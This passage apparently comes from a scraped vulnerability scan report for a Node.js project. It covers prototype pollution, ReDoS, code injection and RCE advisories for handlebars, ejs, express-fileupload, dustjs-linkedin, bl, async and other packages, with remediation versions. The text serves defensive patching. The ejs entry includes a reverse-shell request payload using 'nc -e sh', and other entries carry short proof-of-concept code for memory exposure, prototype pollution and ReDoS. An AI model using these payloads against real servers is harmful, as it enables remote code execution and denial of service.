as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade handlebars
to version 4.0.14, 4.1.2 or higher.
References
+ + ++ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+handlebars is an extension to the Mustache templating language.
+Affected versions of this package are vulnerable to Prototype Pollution. A Prototype Pollution allowing Remote Code Execution can be exploited using the constructor, via the 'lookup' helper.
+ This vulnerability is due to an incomplete fix for: SNYK-JS-HANDLEBARS-173692
Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade handlebars
to version 3.0.7, 4.1.2, 4.0.14 or higher.
References
+ + ++ + + +
GPL-2.0 license
++ + + +
+ + +
Detailed paths
+ + + ++ +
GPL-2.0 license
+ ++ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+fresh
is HTTP response freshness testing.
Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS) attacks. A Regular Expression (/ *, */
) was used for parsing HTTP headers and take about 2 seconds matching time for 50k characters.
Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade fresh
to version 0.5.2 or higher.
References
+-
+
- GitHub Commit +
- GitHub Issue +
+ + + +
Denial of Service (DoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+express-fileupload is a file upload middleware for express that wraps around busboy.
+Affected versions of this package are vulnerable to Denial of Service (DoS). The package does not limit file name length.
+Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
+Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
+One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
+When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
+Two common types of DoS vulnerabilities:
+-
+
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
+
+ Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
+ws
package
+
Remediation
+Upgrade express-fileupload
to version 1.1.6-alpha.6 or higher.
References
+-
+
- GitHub PR +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+express-fileupload is a file upload middleware for express that wraps around busboy.
+Affected versions of this package are vulnerable to Prototype Pollution. If the parseNested
option is enabled, sending a corrupt HTTP request can lead to denial of service or arbitrary code execution.
Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade express-fileupload
to version 1.1.10 or higher.
References
+ + ++ + + +
Remote Code Execution (RCE)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+ejs is a popular JavaScript templating engine.
+Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options
parameter of renderFile
, which makes it possible to inject code into outputFunctionName
.
Note: + This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.
+PoC:
+Creation of reverse shell:
+http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
+
+ Remediation
+Upgrade ejs
to version 3.1.7 or higher.
References
+ + ++ + + +
Arbitrary Code Execution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+ejs
is a popular JavaScript templating engine.
+ Affected versions of the package are vulnerable to Remote Code Execution by letting the attacker under certain conditions control the source folder from which the engine renders include files.
+ You can read more about this vulnerability on the Snyk blog.
There's also a Cross-site Scripting & Denial of Service vulnerabilities caused by the same behaviour.
+Details
+ejs
provides a few different options for you to render a template, two being very similar: ejs.render()
and ejs.renderFile()
. The only difference being that render
expects a string to be used for the template and renderFile
expects a path to a template file.
Both functions can be invoked in two ways. The first is calling them with template
, data
, and options
:
ejs.render(str, data, options);
+
+ ejs.renderFile(filename, data, options, callback)
+
+ The second way would be by calling only the template
and data
, while ejs
lets the options
be passed as part of the data
:
ejs.render(str, dataAndOptions);
+
+ ejs.renderFile(filename, dataAndOptions, callback)
+
+ If used with a variable list supplied by the user (e.g. by reading it from the URI with qs
or equivalent), an attacker can control ejs
options. This includes the root
option, which allows changing the project root for includes with an absolute path.
ejs.renderFile('my-template', {root:'/bad/root/'}, callback);
+
+ By passing along the root directive in the line above, any includes would now be pulled from /bad/root
instead of the path intended. This allows the attacker to take control of the root directory for included scripts and divert it to a library under his control, thus leading to remote code execution.
The fix introduced in version 2.5.3
blacklisted root
options from options passed via the data
object.
Disclosure Timeline
+-
+
- November 27th, 2016 - Reported the issue to package owner. +
- November 27th, 2016 - Issue acknowledged by package owner. +
- November 28th, 2016 - Issue fixed and version
2.5.3
released.
+
Remediation
+The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard
from the command-line interface.
+ Otherwise, Upgrade ejs
to version 2.5.3
or higher.
References
+-
+
- Snyk Blog +
- Fix commit +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+dustjs-linkedin is a Javascript templating engine designed to run asynchronously on both the server and the browser.
+Affected versions of this package are vulnerable to Prototype Pollution. It is possible to pollute the blocks
Array attribute of the object context
within the compileBlocks
function. This vulnerability can be leveraged for code execution since this property is added to the compiled
function which is then execute by the vm
module.
Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade dustjs-linkedin
to version 3.0.0 or higher.
References
+-
+
- GitHub Commit +
- GitHub Issue +
- GitHub PR +
+ + + +
Code Injection
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+dustjs-linkedin is a Javascript templating engine designed to run asynchronously on both the server and the browser.
+Affected versions of this package are vulnerable to Code Injection. Dust.js uses Javascript's eval()
function to evaluate the "if" statement conditions. The input to the function is sanitized by escaping all potentially dangerous characters.
However, if the variable passed in is an array, no escaping is applied, exposing an easy path to code injection. The risk of exploit is especially high given the fact express
, koa
and many other Node.js servers allow users to force a query parameter to be an array using the param[]=value
notation.
Remediation
+Upgrade dustjs-linkedin
to version 2.6.0 or higher.
References
+-
+
- Artsploit Blog +
- GitHub Commit +
- GitHub Issue +
- GitHub PR +
+ + + +
Remote Memory Exposure
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+bl is a library that allows you to collect buffers and access with a standard readable buffer interface.
+Affected versions of this package are vulnerable to Remote Memory Exposure. If user input ends up in consume()
argument and can become negative, BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice()
calls.
PoC by chalker
+const { BufferList } = require('bl')
+ const secret = require('crypto').randomBytes(256)
+ for (let i = 0; i < 1e6; i++) {
+ const clone = Buffer.from(secret)
+ const bl = new BufferList()
+ bl.append(Buffer.from('a'))
+ bl.consume(-1024)
+ const buf = bl.slice(1)
+ if (buf.indexOf(clone) !== -1) {
+ console.error(`Match (at ${i})`, buf)
+ }
+ }
+
+ Remediation
+Upgrade bl
to version 2.2.1, 3.0.1, 4.0.3, 1.2.3 or higher.
References
+ + ++ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+Affected versions of this package are vulnerable to Prototype Pollution via the mapValues()
method.
PoC
+//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))
+ const hasOwn = JSON.parse('{"__proto__": {"isAdmin": true}}');
+
+ //does not have the property, because it's inside object's own "__proto__"
+ console.log(hasOwn.isAdmin);
+
+ async.mapValues(hasOwn, (val, key, cb) => cb(null, val), (error, result) => {
+ // after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.
+ console.log(result.isAdmin);
+ });
+
+ Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade async
to version 2.6.4, 3.2.2 or higher.
References
+-
+
- GitHub Backport PR +
- GitHub Commit +
- GitHub Commit +
- PoC +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]*
and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
.
PoC
+import ansiRegex from 'ansi-regex';
+
+ for(var i = 1; i <= 50000; i++) {
+ var time = Date.now();
+ var attack_str = "\u001B["+";".repeat(i*10000);
+ ansiRegex().test(attack_str)
+ var time_cost = Date.now() - time;
+ console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
+ }
+
+ Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade ansi-regex
to version 6.0.1, 5.0.1 or higher.
References
+-
+
- GitHub Commit +
- GitHub PR +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+ajv is an Another JSON Schema Validator
+Affected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)
+Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
